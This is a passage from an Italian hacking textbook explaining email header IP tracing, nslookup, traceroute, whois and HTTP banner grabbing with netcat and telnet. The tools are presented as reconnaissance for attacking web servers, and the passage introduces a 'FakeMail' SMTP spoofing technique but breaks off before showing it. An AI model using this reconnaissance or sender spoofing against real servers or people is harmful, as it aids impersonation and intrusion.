In un’email ci sono diversi campi received. Partendo dall’alto scendiamo fino a trovare l’ultimo campo received. Mi sono mandato un’email dal mio account su Yahoo al mio account su Gmail. Ho contato 11 header received. L’ultimo contiene l’Ip del mittente (ovvero il mi-o: Received: from [xyz.xyz.xyz.xyz] by web24701.mail.ird.yahoo.com via HTTP; Thu, 14 Apr 2009 06:30:47 PDT

Dopo la scritta from tra parentesi quadre appare l’Ip del mittente, seguito da altre informazioni tra le quali l’ora in cui il server SMTP di Yahoo ha ricevuto tramite HTTP l’email da recapitare.Per recuperare l’Ip di un’email bisogna quindi otte-nere gli header con un’operazione che varia da client a client; quindi si cerca l’ultimo campo header; dopo il from troviamo l’indirizzo del mittente.

Naturalmente se il mittente ha utilizzato proxy o altri strumenti di anonimato la conoscenza dell’Ip non sarà molto utile per accertare l’identità del mittente. Inol-tre l’autore dell’email potrebbe cercare di confondere le acque con alcuni truc-chi, come la creazione di header received falsi.

Come ottenere informazioni da un IP

Localizzare IP e web, servizio whois ecc.

Chiunque abbia installato per la prima volta un personal firewall sarà caduto nel-la tentazione di voler individuare in modo preciso i responsabili di eventuali scansioni delle proprie porte o tentativi di intrusione rilevati e memorizzati nei log del programma. E’ bene infrangere ogni aspettativa troppo positiva a riguardo: non è assolutamente possibile per un comune utente della rete venire a conoscen-za in modo legale della persona fisica o dell'utenza telefonica a cui è assegnato un indirizzo IP in un determinato istante. Solo la polizia postale e le forze del-l'ordine possono accedere a tali dati che, per legge, vengono conservati dai pro-vider per un certo periodo di tempo proprio per documentare eventuali abusi sul-la rete. Quali sono allora le informazioni a cui possiamo risalire a partire da un IP? Quali sono gli strumenti che ci permettono di farlo? Perché dovremmo voler risalire a tali informazioni? I motivi per farlo possono essere vari. Nel caso per esempio gli IP provengano dai log del proprio webserver, si possono catalogare tali dati a fine statistico in modo da avere informazioni più dettagliate sui visitatori.

Page 53: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

53

Molte volte invece la sorgente può rivelarsi non propriamente amichevole: nel caso di tentativi ripetuti ed insistenti di violare un sistema gli IP conservati nei fi-le di log di server o firewall possono essere analizzati per essere segnalati agli abuse delle reti o dei domini di appartenenza. Non da ultimo mettiamoci la curiosità: gli strumenti di cui parleremo forniscono un metodo come un altro per scoprire sul campo la struttura e il funzionamento della grande rete. Quelli che seguono sono alcuni semplici strumenti standard. Verranno descritti il loro funzionamento, le informazioni che ci permettono di ottenere e alcuni esem-pi chiarificatori. Nella descrizione si è sempre cercato di utilizzare strumenti comunemente già disponibili sul pc oppure online. Questo non toglie che esistano programmi più sofisticati e forse più semplici da usare che racchiudono queste ed altre funzioni in modo integrato. Uno di questi è sicuramente l'ottimo VisualRoute, che permet-te anche la visualizzazione geografica degli host tramite una comoda cartina.

NsLookup

Nslookup è disponibile da riga di comando solo nelle versioni Windows 2000/XP/2003. Per le versioni precedenti è necessario ricorrere a strumenti di terze parti. Attraverso questo comando è possibile compiere interrogazioni direttamente sui server DNS.

Ogni volta che impartiamo al nostro browser l'ordine di navigare su un determinato sito o indichiamo al nostro programma di posta elettronica il server SMTP o POP3 da utilizzare, adoperiamo un nome e non un indirizzo IP. Questo perché per un essere umano risulta molto più facile ricordare un nome come http://www.google.it oppure la sequenza di numeri http://216.239.59.104. Il protocollo TCP/IP d'altra parte fonda il suo funzionamento e le sue politiche di instradamento dei pacchetti sugli IP e non certo sui nomi.

I DNS (Domain Name Server), chiamati anche semplicemente Name Server, si occupano di trasformare nomi nei corrispettivi indirizzi IP e possono venire interrogati dalle applicazioni ogni volta che questo si renda necessario. In riferimento al caso precedente il nostro browser, rilevando come destinazione un nome di dominio, provvederà preventivamente e in modo a noi trasparente ad interrogare un server DNS che gli fornirà il corretto IP. Solo a questo punto partirà la vera richiesta del browser che utilizzerà l'indirizzo numerico ottenuto per collegarsi al sito e scaricare la pagina.

Vista la mole di dati è impossibile che i DNS possiedano le informazioni di tutti i nomi a livello mondiale e per questo motivo il sistema è stato organizzato come un enorme database distribuito gerarchicamente. Ogni server contiene solo le informazioni relative ad un sottoinsieme dei nomi. Si dice che un DNS è di

Page 54: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

54

fiducia o autoritativo per un determinato nome se lo gestisce direttamente.

Cosa succede se interrogo un name server su un nome di cui non è autoritativo? La richiesta in genere viene automaticamente rediretta ad un DNS di gerarchia superiore in grado di indicargli quale sia il server autoritativo cercato che potrà così essere consultato. Una volta raggiunto l'obiettivo il nostro DNS fornirà il risultato e nel contempo lo memorizzerà nella sua cache in modo da poterlo fornire più velocemente in futuro.

Quali sono le informazioni che ci può fornire un server DNS? In realtà sono molte di più di una semplice associazione nome-ip. Troviamo indicazioni sui DNS autoritativi, sulle macchine che gestiscono server di posta elettronica per quel dominio, eventuali alias cioè nomi ausiliari associati e altri. Questi dati sono memorizzati nel database del name server in campi chiamati Resource Records (RR) e sono contraddistinti con una sigla che ne identifica il contenuto.

Ecco i più importanti:

RR Descrizione

A Contiene l'indirizzo IP corrispondente al nome del dominio

MX Contiene il nome del server SMTP gestore della posta per quel dominio

NS Indica il DNS autoritativo per la zona di appartenenza del dominio

CNAME Usato per memorizzare un eventuale nome alias alternativo per il dominio

PTR Contiene dati per il reverse lookup di cui si parlerà in seguito E infine alcuni esempi di utilizzo del comando.

Con il seguente chiediamo informazioni ai DNS di default, quelli del nostro provider, sull'IP assegnato al nome www.html.it. La richiesta di default è relativa al record di tipo A cioè all'indirizzo:

nslookup www.html.it

Server: host171-70.pool8021.interbusiness.it Address: 80.21.70.171 Risposta da un server non di fiducia: Nome: www.html.it Address: 212.110.13.99

Le prime due righe indicano il DNS a cui è stata fatta la richiesta. Le successive contengono la risposta che in questo caso è 212.110.13.99. Si noti che essendo il server scelto non autoritativo per il dominio html.it questo è stato chiaramenteindicato nella risposta.

Page 55: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

55

Con l'esempio seguente invece non siamo interessati ad ottenere il campo relativo all'indirizzo ma quello relativo ai server DNS autoritativi per il dominio. Lo facciamo richiedendo il record NS attraverso l'opzione -type.

nslookup -type=NS html.it

Server: host171-70.pool8021.interbusiness.it Address: 80.21.70.171 Risposta da un server non di fiducia: html.it nameserver = dns1.grapesnet.net html.it nameserver = dns2.grapesnet.net dns1.grapesnet.net internet address = 212.110.0.190 dns2.grapesnet.net internet address = 212.90.2.112

In risposta otteniamo il nome e l'IP del DNS primario e di quello secondario. Come si può notare html.it si appoggia al provider grapesnet.net.

Questa volta vogliamo ottenere informazioni sui server di posta di html.it e lo facciamo indicando il record MX. La richiesta inoltre la vogliamo fare direttamente a uno dei server autoritativi scoperti al punto precedente e lo indichiamo subito dopo il nome.

nslookup -type=MX html.it 212.110.0.190

Server: dns1.grapesnet.net Address: 212.110.0.190 html.it MX preference = 10, mail exchanger = mail.html.it html.it MX preference = 20, mail exchanger = backupmx.grapesnet.net html.it nameserver = dns1.grapesnet.net html.it nameserver = dns2.grapesnet.net mail.html.it internet address = 212.110.12.123 backupmx.grapesnet.net internet address = 212.90.2.114 dns1.grapesnet.net internet address = 212.110.0.190 dns2.grapesnet.net internet address = 212.90.2.112

Come vediamo esistono due server di posta : mail.html.it e backupmx.grapesnet.net i cui server DNS sono gli stessi del dominio principale. Di tutti i server indicati viene fornito anche l'IP. Si noti che questa volta è assente l'indicazione sulla risposta proveniente da un server non di fiducia perché ora il DNS scelto per le interrogazioni è autoritativo.

Altro aspetto interessante è il cosiddetto Reverse Name Lookup. In questo caso si procede in senso inverso, quello che conosco è un indirizzo IP e voglio sapere

Page 56: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

56

quale nome gli è stato assegnato dal DNS. La richiesta la facciamo indicando il record PTR e indicando l'IP invece che il nome. Proviamo ad inserire l'IP ottenuto nel primo esempio:

nslookup -type=PTR 212.110.13.99

Server: host171-70.pool8021.interbusiness.it Address: 80.21.70.171 Risposta da un server non di fiducia: 99.13.110.212.in-addr.arpa name = html.it 99.13.110.212.in-addr.arpa name = forum.html.it 99.13.110.212.in-addr.arpa name = www.html.it 99.13.110.212.in-addr.arpa name = job.html.it 99.13.110.212.in-addr.arpa name = cgipoint.html.it 99.13.110.212.in-addr.arpa name = cgi.html.it 99.13.110.212.in-addr.arpa name = webnews.html.it 99.13.110.212.in-addr.arpa name = b2b.html.it 99.13.110.212.in-addr.arpa name = libri.html.it 99.13.110.212.in-addr.arpa name = netfree.html.it 99.13.110.212.in-addr.arpa name = statistiche.html.it 99.13.110.212.in-addr.arpa name = saibal.html.it 99.13.110.212.in-addr.arpa name = test1.html.it 99.13.110.212.in-addr.arpa name = test2.html.it

Abbiamo scoperto una cosa molto interessante, allo stesso indirizzo IP sono associati sia il dominio di secondo livello html.it sia ben altri 13 sottodomini di terzo livello che si suppone siano tutti gestiti sulla stessa macchina.

Page 57: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

57

Gli strumenti di Traceroute e di Whois.

Traceroute

Questo strumento è disponibile da riga di comando in praticamente tutte le versioni di Windows e Linux. Windows identifica il comando come Tracert e a tale versione d'ora in poi si farà riferimento. Lo scopo di Traceroute è visualizzare in successione tutti i nodi della rete internet attraverso i quali transitano i pacchetti per raggiungere il sistema che abbiamo indicato come destinazione. Il comando viene spesso usato a scopo diagnostico perché per ogni nodo indica la latenza cioè il tempo che i pacchetti impiegano per raggiungerlo. La cosa interessante è che, se non specificato diversamente, il comando trasla automaticamente tutti gli indirizzi ip nei relativi nomi attraverso un implicito reverse name lookup. Spesso i router delle dorsali internet possiedono nomi con palesi riferimenti geografici e questo ci permette di localizzare il percorso e spesso anche la destinazione.

Alcuni esempi:

tracert www.rai.it

Rilevazione instradamento verso www.rai.it [212.162.68.64] su un massimo di 30 punti di passaggio: 1 47 ms 63 ms 47 ms 192.168.100.1 2 47 ms 62 ms 47 ms host1xx-70.pool8021.interbusiness.it [80.21.70.1xx] 3 63 ms 47 ms 62 ms r-bo74-bo83.opb.interbusiness.it [151.99.101.121] 4 62 ms 47 ms 62 ms r-rm213-bo74.opb.interbusiness.it [151.99.101.197] 5 62 ms 63 ms 62 ms r-rm156-vl3.opb.interbusiness.it [151.99.29.144] 6 63 ms 62 ms 63 ms r-tin-pomezia-rm156.opb.interbusiness.it [151.99.98.6] 7 63 ms 62 ms 63 ms 217.222.6.194 8 62 ms 63 ms 62 ms host37-11.pool217222.interbusiness.it [217.222.11.37] 9 63 ms 62 ms 62 ms host2-138.pool81119.interbusiness.it [81.119.138.2] 10 62 ms 63 ms 47 ms 212.162.64.228 11 * * * Richiesta scaduta. 12 * * * Richiesta scaduta.

Nella prima colonna troviamo il numero del nodo attraversato. Successivamente vi sono tre diverse rilevazioni dei tempi impiegati per raggiungere il nodo.

Page 58: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

58

Queste possono variare notevolmente a seconda del traffico di rete. Infine troviamo l'indirizzo IP del nodo e il suo eventuale nome recuperato attraverso i server DNS.

Cosa notiamo di interessante? Il nodo numero 3 presenta nella prima parte del nome la stringa r-bo74-bo83 in cui bo assomiglia tanto alla sigla della provincia di Bologna. I nomi della rete Interbusiness di Telecom Italia adottano questa convenzione e la cosa è confermata dal successivo nodo in cui troviamo r-rm213-bo74: probabilmente un server nei pressi di Roma che collega la tratta verso Bologna. Il nodo 6 risulta ancora più esplicativo. (pomezia)

I nodi contraddistinti da una richiesta scaduta sono macchine che non rispondo ad una richiesta di traceroute e possono essere considerati Firewall.

Un altro esempio questa volta verso un server localizzato negli USA:

tracert www.grc.com

Rilevazione instradamento verso grc.com [204.1.226.226] su un massimo di 30 punti di passaggio: 1 62 ms 47 ms 62 ms 192.168.100.1 2 46 ms 63 ms 47 ms host1xx-70.pool8021.interbusiness.it [80.21.70.1xx] 3 47 ms 47 ms 62 ms r-bo74-bo83.opb.interbusiness.it [151.99.101.121] 4 47 ms 63 ms 62 ms r-rm213-bo74.opb.interbusiness.it [151.99.101.197] 5 47 ms 63 ms 62 ms r-rm83-vl3.opb.interbusiness.it [151.99.29.139] 6 140 ms 141 ms 156 ms pal9-ibs-resid-4-it.pal.seabone.net [195.22.218.45] 7 234 ms 250 ms 250 ms mia1-pal8-racc3.seabone.net [195.22.197.50] 8 250 ms 250 ms 266 ms POS3-0.IG2.MIA4.ALTER.NET [65.208.85.113] 9 234 ms 250 ms 250 ms 0.so-2-0-0.xl1.mia4.alter.net [152.63.7.221] 10 250 ms 250 ms 250 ms 0.so-0-0-0.tl1.atl5.alter.net [152.63.10.102] 11 250 ms 266 ms 250 ms 0.so-1-3-0.tl1.chi2.alter.net [152.63.70.29] 12 250 ms 250 ms 266 ms 0.so-7-0-0.xl1.chi2.alter.net [152.63.68.81] 13 266 ms 265 ms 250 ms pos6-0.br3.chi2.alter.net [152.63.68.1] 14 250 ms 266 ms 250 ms 204.255.174.234 15 296 ms 313 ms 312 ms p16-1-1-1.r21.snjsca04.us.bb.verio.net [129.250.5.132] 16 313 ms 312 ms 313 ms p16-1-1-1.r21.lsanca01.us.bb.verio.net [129.250.2.186] 17 313 ms 312 ms 297 ms ge-1-2.a04.lsanca01.us.da.verio.net [129.250.29.65] 18 * * * Richiesta scaduta. 19 * * * Richiesta scaduta.

Page 59: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

59

Whois

Whois è un vero e proprio protocollo che permette di accedere a due principali tipi di database online: uno relativo allo spazio degli indirizzi IP e l'altro ai nomi di dominio entrambi registrati da opportuni enti. Si noti bene che a differenza dei server DNS che sono essenziali per il corretto funzionamento di internet, i server Whois offrono un servizio puramente informativo.

IP Whois

Agli albori di internet gli indirizzi IP venivano assegnati ai richiedenti da IANA (Internet Assigned Numbers Authority) senza particolare ordine. Con il passare del tempo si è pensato di razionalizzare questa distribuzione e di suddividere tra quattro organizzazioni su base geografica la gestione e la registrazione degli IP non ancora assegnati:

• ARIN per il Nord America • RIPE NCC per l'Europa • APNIC per l'Asia e la zona del Pacifico • LACNIC - per l'America meridionale e la zona caraibica

Ad ognuna di queste organizzazioni sono stati assegnati grossi blocchi di indirizzi IP di cui sono unici responsabili. Questa suddivisione regionale è consultabile in questo documento http://www.iana.org/assignments/ipv4-address-space. Come si può notare analizzandone il contenuto sono comunque molte le zone assegnate direttamente a grosse società USA e quelle gestite da più enti contemporaneamente.

Ognuna delle organizzazioni di cui sopra rende disponibile un servizio Whois relativo alla propria zona consultabile via web. Quello di RIPE, relativo all'Europa, è disponibile all' indirizzo http://www.ripe.net/db/whois/whois.html ed è quello che verrà utilizzato di seguito.

A cosa ci può servire una interrogazione ad un server IP Whois? La risposta la otteniamo facilmente analizzando un esempio. Quello che segue è il risultato di una richiesta di informazioni per l'indirizzo 192.138.228.1 (sono state eliminate alcune voci per rendere l'output più leggero):

inetnum: 192.138.228.0 - 192.138.228.255 netname: SIEMENS-NET descr: Siemens AG Oesterreich descr: Abt. PSE RD country: AT admin-c: AF2545-RIPE tech-c: AS65-RIPE

Page 60: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

60

tech-c: AS3750-RIPE mnt-by: RIPE-NCC-LOCKED-MNT status: NOT-SET changed: [email protected] 19920525 changed: [email protected] 19920527 changed: [email protected] 19931021 changed: [email protected] 19950620 changed: [email protected] 19990706 changed: [email protected] 20000225 changed: [email protected] 20030116 changed: [email protected] 20040503 source: RIPE route: 192.138.228.0/24 descr: Siemens AG origin: AS8971 remarks: Siemens AG mnt-by: AS8971-MNT changed: [email protected] 20020603 source: RIPE role: ... interrotto

person: ... interrotto

Da una rapida analisi scopriamo subito che tale indirizzo fa parte di una rete assegnata alla nota società tedesca Siemens (campo netname: e descr:). Altra osservazione importante è che l'IP fa parte dell'intervallo di indirizzi 92.138.228.0-192.138.228.255 (campo inetnum:) tutto assegnato alla stessa azienda. Questo non significa che siano tutti utilizzati ma semplicemente che tale blocco risulta essere registrato a nome Siemens che potrà usarlo liberamente. Altra informazione che possiamo estrapolare dai dati forniti si trova nel campo country:, qui troviamo AT che significa Austria. Contrariamente a quanto si poteva immaginare quindi tale indirizzo appartiene ad una rete austriaca e non tedesca. Per un elenco delle sigle (Country Code) delle nazioni si può consultare il seguente documento: http://www.iana.org/cctld/cctld-whois.htm Completano il quadro una serie di riferimenti a persone responsabili della registrazione della rete (role: e person:)Si fa notare infine la presenza di un pulsante "Advanced Search" sulla pagine whois di RIPE che consente di ottenere ricerche più mirate. Interessante è la voce "Alternative Database" che permette di fare ricerche su server Whois diversi da RIPE. Questo si rivela indispensabile se l'IP è extraeuropeo e la ricerca normale non ha avuto successo.

Page 61: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

61

Domain Whois

Questo genere di server Whois contiene le registrazioni dei nomi di dominio invece che delle reti. Ogni nazione possiede un proprio NIC (Network Information Center) il cui sito mette a disposizione un servizio di registrazione e di ricerca dei propri domini. I siti relativi a tali enti nazionali possono essere raggiunti seguendo i link di questa pagina: http://www.iana.org/cctld/cctld-whois.htm. Per quanto riguarda i domini generici come .com, .org, .edu etc si può consultare la pagina http://www.iana.org/gtld/gtld.htm. Dopo aver scelto la voce di interesse dalle pagine indicate selezionare il link "URL for registration services" per accedere al sito del NIC relativo. Qui potremo accedere, oltre che alle opzioni di registrazione, anche a quelle di Whois.

Quali sono le informazioni ricavabili da questo genere di ricerche?

Proviamo ad andare sulla pagina di ricerca del NIC italiano http://www.nic.it/SR e ad inserire html.it. Questa è la risposta:

domain: html.it x400-domain: c=it; admd=0; prmd=html; org: HTML.it Srl org-unit: HTML.it Srl descr: HTML.it Srl admin-c: MV943-ITNIC tech-c: DS287-ITNIC postmaster: DS287-ITNIC zone-c: DS287-ITNIC nserver: 212.110.0.190 dns1.grapesnet.net nserver: 212.90.2.112 dns2.grapesnet.net dom-net: 212.110.0.0 mnt-by: GRAPESNET-MNT created: 19980805 expire: 20050115 changed: [email protected] 20031210 source: IT-NIC person: Massimiliano Valente ... interrotto ...

source: IT-NIC person: Domain Staff address: Grapes Network Services SpA ... interrotto ...

source: IT-NIC

Page 62: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

62

Come si può vedere otteniamo il nome della società che possiede il nome di dominio (campo org:), gli indirizzi e i nomi dei server DNS registrati come autoritativi per il dominio (nserver:), il nome del mantainter del dominio (mnt-

by:), la data di registrazione e di scadenza (created: ed expire:) oltre ai dati di una persona referente per il dominio e per il mantainer (person:). Una ultima nota pratica: essendo molti i NIC a cui fare riferimento può risultare decisamente più comodo consultare uno dei tanti siti che in modo trasparente provvedono ad interrogare l'opportuno server Whois in base alla richiesta effettuata. Uno di questi è http://www.allwhois.com

Risorse Online

Alcune pagine web che forniscono utili strumenti online:

http://www.utrace.de/ http://www.whatismyip.com/tools/ http://www.all-nettools.com/toolbox http://www.kloth.net/services/ http://www.all-nettools.com/toolbox http://tatumweb.com/iptools.htm

Tre Strumenti per analizzare il protocollo HTTP e scoprire il server remoto

L’information gathering è la prima fase di un attacco. Si tratta di un’operazione finalizzata alla raccolta del maggior numero possibile di informazioni sull’obiettivo da poter utilizzare per lo sviluppo di una strategia di attacco. Se l’attacco è rivolto ad un web server le informazioni fondamentali da scoprire saranno il tipo di web server e la versione. In base a queste informazioni si potrà sviluppare il piano di attacco. Per esempio, se il server fosse un Apache molto probabilmente la piattaforma sa-rebbe Linux e utilizzerebbe PHP come linguaggio per le web application; se invece il server remoto venisse identificato come Internet Information Server della Microsoft la piattaforma sarebbe sicuramente Windows e le web aplication sarebbero scritte in ASP/.NET. Il metodo più semplice per ottenere queste informazioni è chiederle al server! Ogni volta che consultiamo una pagina web il server, in modo trasparente per l’utente comunica con il browser tramite un “linguaggio” (un protocollo per es-sere più precisi) chiamato HTTP. Un particolare frammento di questi dati HTTP (pacchetti di dati) denominato “header” (intestazione) contiene tutte queste in-formazioni.Come visualizzarle? Esistono diversi metodi. Quello più sofisticato è quello di lanciare uno sniffer sulla propria macchina (come tcpdump o Wire-

shark), catturare un po’ di dati mentre si naviga comodamente in rete col browser e analizzarli successivamente filtrando i dati con il protocollo HTTP.

Page 63: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

63

Esistono altri metodi più immediati, come estensioni Firefox e siti web che of-frono strumenti in grado di effettuare questo tipo di attività. E poi ci sono gli strumenti da linea di comando come netcat. Vediamo in dettaglio. 1) TcpQuery

Il primo strumento che presento è TcpQuery. (http://hexillion.com/asp/samples/AspTcpQuery.asp) Il funzionamento è molto semplice. Basta inserire l’indirizzo del web server da analizzare nella text-box etichetta “server”; nell’altra text-box è già presente la stringa HTTP: GET / HTTP/1.0. Cliccando su GO si avvia l’interrogazione. Proviamo con il server www.libero.it. Il risultato è il seguente: HTTP/1.1 200 OK Date: Wed, 06 Aug 2008 20:51:16 GMT Server: Apache Set-Cookie: Libero=xx.84.211.xx.1218055876475336; path=/; expires=Wed, 24-Nov-10 20:51:16 GMT; domain=.libero.it X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html di seguito tutto il corpo html sorgente. Utilizzando il comando HEAD / HTTP/1.0 al posto di GET / HTTP/1.0, ovvero sostituendo GET con HEAD si ottiene solo l’intestazione, che è quello che ci interessa. Analizziamo la risposta. La prima riga “HTTP/1.1 200 OK” ci comunica che la pagina è stata trovata (codice HTTP 200); se la pagina non fosse stata trovata a-vremmo avuto come risultato un codice 404, Page Not Found. Di seguito vediamo l’ora del server (Date: Wed, 06 Aug 2008 20:51:16 GMT), il tipo di server (Server: Apache) e la versione di PHP utilizzata (X-Powered-By: PHP/5.1.6) 2) Live HTTP Header (estensione Firefox)

La stessa cosa si può fare con un’estensione Firefox: Live HTTP Header. La procedura è molto più semplice. Dopo avere installato l’estensione basta aprire la finestra di Live HTTP Header mentre si naviga normalmente( visualizza – barra laterale – spuntare Live HTTP ) e tutti gli header HTTP verranno “sniffati” (sia del server sia del client) e mostrati a video. Questo strumento è molto utile in particolar modo per il debug di web applications. Questo è un esempio effettuato sempre con libero.it: HTTP/1.x 200 OK

Page 64: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

64

Date: Wed, 13 Aug 2008 20:17:38 GMT Server: Apache X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Content-Encoding: gzip Connection: close Transfer-Encoding: chunked Content-Type: text/html 3) Netcat

Netcat è da anni uno degli strumenti più apprezzati dagli hacker e le sue possibi-lità vanno ben oltre l’interrogazione di un web server. Ormai si trova in pratica-mente tutte le distribuzioni Linux (Unix in generale). Esiste anche una versione per Windows scaricabile da http://www.megalab.it/5001/con-netcat-controlli-e-gestisci-al-meglio-i-pc-della-tua-rete Scaricate il file in una cartella ed estraetene il contenuto, copiate il file nc.exe nella cartella Windows o Windows\system32 in modo che sia sempre disponibile da qualsiasi cartella voi lo avviate. Per gestire i PC da remoto questa operazione deve essere compiuta su entrambi i PC). Eseguire i comandi dalla dos (cmd) ATTENZIONE: Alcuni antivirus identificano nc.exe come Virus (Hacking To-ol)... in effetti Netcat è utilizzato anche dagli Hacker e Cracker, proprio per la sua flessibilità e semplicità d'uso Per gli scopi di questo articolo può essere utilizzato nel modo seguente: si apre una shell e si digita nc www.libero.it 80 -vv quando la connessione viene stabilita vedremo una stringa simile a questa vs-fe.iol.it [195.210.91.83] 80 (http) open

e quindi digitiamo la stringa del comando HTTP : HEAD / HTTP/1.0 e poi due volte invio. HTTP/1.1 301 Moved Permanently Date: Thu, 07 Aug 2008 14:28:27 GMT Server: Apache Location: http://www.libero.it/ Connection: close Content-Type: text/html; charset=iso-8859-1 Esiste un altro strumento, disponibile su tutti i computer: telnet. Se si utilizza telnet la procedura è identica a quella per netcat. In alternativa si possono utiliz-zare client esterni come Putty, ottimo e flessibile client telnet/ssh.

Page 65: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

65

Telnet

Attiviamo il comando Telnet su Windows 7 e Windows vista!

La prima cosa da fare è quella di aprire il pannello di controllo - programmi e

funzionalità del vostro Windows 7. A questo punto, sulla barra di sinistra cliccate su Attivazione e Disattivazione delle funzionalità di Windows. Si aprirà una nuova finestra e spuntate le caselle vicino alle voci: Telnet Client,Telnet Server (opzionale). A questo punto, con-fermate l’operazione e aspettate alcuni minuti che sia installato il servizio. Una volta completata l’installazione tramite il prompt dei comandi, potrete utilizzare il Telnet. Telnet non e` altro che un servizio di banca dati, con messaggi, programmi e co-se del genere, proprio come nelle vecchie BBS. (o Bulletin Board System) è un computer che utilizza un software per permettere a utenti esterni di connettersi a esso attraverso la linea telefonica, dando la possibilità di utilizzare funzioni di messaggistica e file sharing centralizzato. Ma perche` utilizzare proprio Telnet?

In realta`, un client Telnet fa poco piu` che collegarsi a un server, inviargli tutto quello che scrivete e mostrarvi tutto quello che riceve dal server. Puo` in effetti sostituire (limitatamente) un qualsiasi altro client. Un esempio: quando usate un browser (Netscape, Explorer, ecc.) per collegarvi ad un sito Web, il programma non fa altro che svolgere una sessione Telnet. In parole semplici: invia un comando simile a "dammi il file xxxxx" e aspetta che il server glielo invii. Lo stesso accade con FTP, e in modo appena diverso per la posta elettronica. Come vediamo, quindi, usando Telnet noi possiamo impersonare un qualsiasi programma client, parlando al server e leggendo le sue risposte. Ma per quale motivo dovremmo farlo?

Soffermiamoci un momento su questa cosa: un servizio, ad esempio e-mail,e` stato progettato perche` dall'altro capo della connessione ci sia un programma client che segua certe regole (ad esempio Eudora per la posta). Alcuni esempi: sovvertendo e-mail si puo` inviare posta elettronica "falsa"(detta FakeMail) che sembri provenire da chiunque noi vogliamo, sovvertendo il Web si puo` crashare (da "crash": distruggere, in senso virtuale) un server, con FTP si

Page 66: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

66

puo` ottenere un livello di anonimita` elevatissimo ed e` possibile infiltrarsi an-che dove non si e` desiderati, e cosi` via; per praticamente ogni servizio esistente vi sono delle tecniche applicabili. E infine, con quasi tutti i servizi (e in particolar modo con la SMTP)esistono dei modi per ottenere il tanto agognato accesso "root", in pratica il livello dell'ammi-nistratore di sistema (detto SysAdmin) che puo` fare *qualsiasi* cosa: creare, aggiungere o eliminare account, file e directory,utenti con qualsiasi livello d'ac-cesso, leggere la posta e i file degli utenti, attivare e disattivare servizi, modifica-re programmi... TELNET E SMTP (FakeMail) Supponiamo di voler, per un motivo qualsiasi, inviare una e-mail a qualcuno fa-cendo sembrare che essa sia stata mandata da qualcun altro. Vediamo in pratica come funziona la tecnica delle FakeMail (che tra l'altro e` applicabile, in modo diverso, anche alle news). Il motivo per cui la studieremo e` che provandone il funzionamento, ne approfit-teremo per imparare ad utilizzare Telnet e soprattutto SMTP, ovvero il servizio della posta in uscita. Questa e` infatti la base per capire come funzionano molte delle tecniche piu` utilizzate, e vi permettera`, quando sarete padroni della materia, di implementar-ne di nuove. Iniziamo dunque imparando ad usare Telnet.

Usandolo per collegarvi a un sito semplicemente inserendo un host name, vi col-legherete al servizio Telnet. Ma abbiamo detto che non e` questo il nostro obiet-tivo. A noi interessa il servizio SMTP. Dunque, come fare per accedervi? Bisognera` inserire, oltre all'indirizzo del server a cui vogliamo collegarci, anche un numero di "porta". Ma cos'e` una porta? Se riflettete, ogni server ha un unico indirizzo "centrale" (nome.com) ma gestisce molti servizi (web, ftp, posta...). Di conseguenza dovrebbe avere altrettanti server su altrettanti indirizzi diversi. Per evitare un proliferare di indirizzi inutili esistono le porte, in pratica nient'altro numeri a cui sono associati i vari servizi. Vogliamo collegarci a SMTP? Basta utilizzare la porta 25. Ci interessano le news? La porta e` 119. Oppure FTP, porta 21... sono tutti numeri "fissi" (stan-dard) e quindi, tranne in rarissimi casi, collegandosi - per esempio - alla porta 25 ci rispondera` sempre SMTP.

Page 67: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

67

NOTA: se avete Windows potete leggere il file "services", contenente i numeri delle porte piu` usate. Il file si trovera` nella directory di Windows. Ora che abbiamo chiarito il discorso delle porte, supponiamo di volerci collegare a SMTP usando Telnet. Scegliamo un server qualsiasi (sono davvero rari i casi in cui un server non gestisca la posta) e, in base al programma usato, dovremmo operare differentemente. La maggior parte di essi funziona in questo modo: per collegarsi a SMTP del server prova.it Vediamo un esempio di spedizione e ricezione di email, puntualizzando i pas-saggi. Supponiamo che [email protected] mandi una mail a

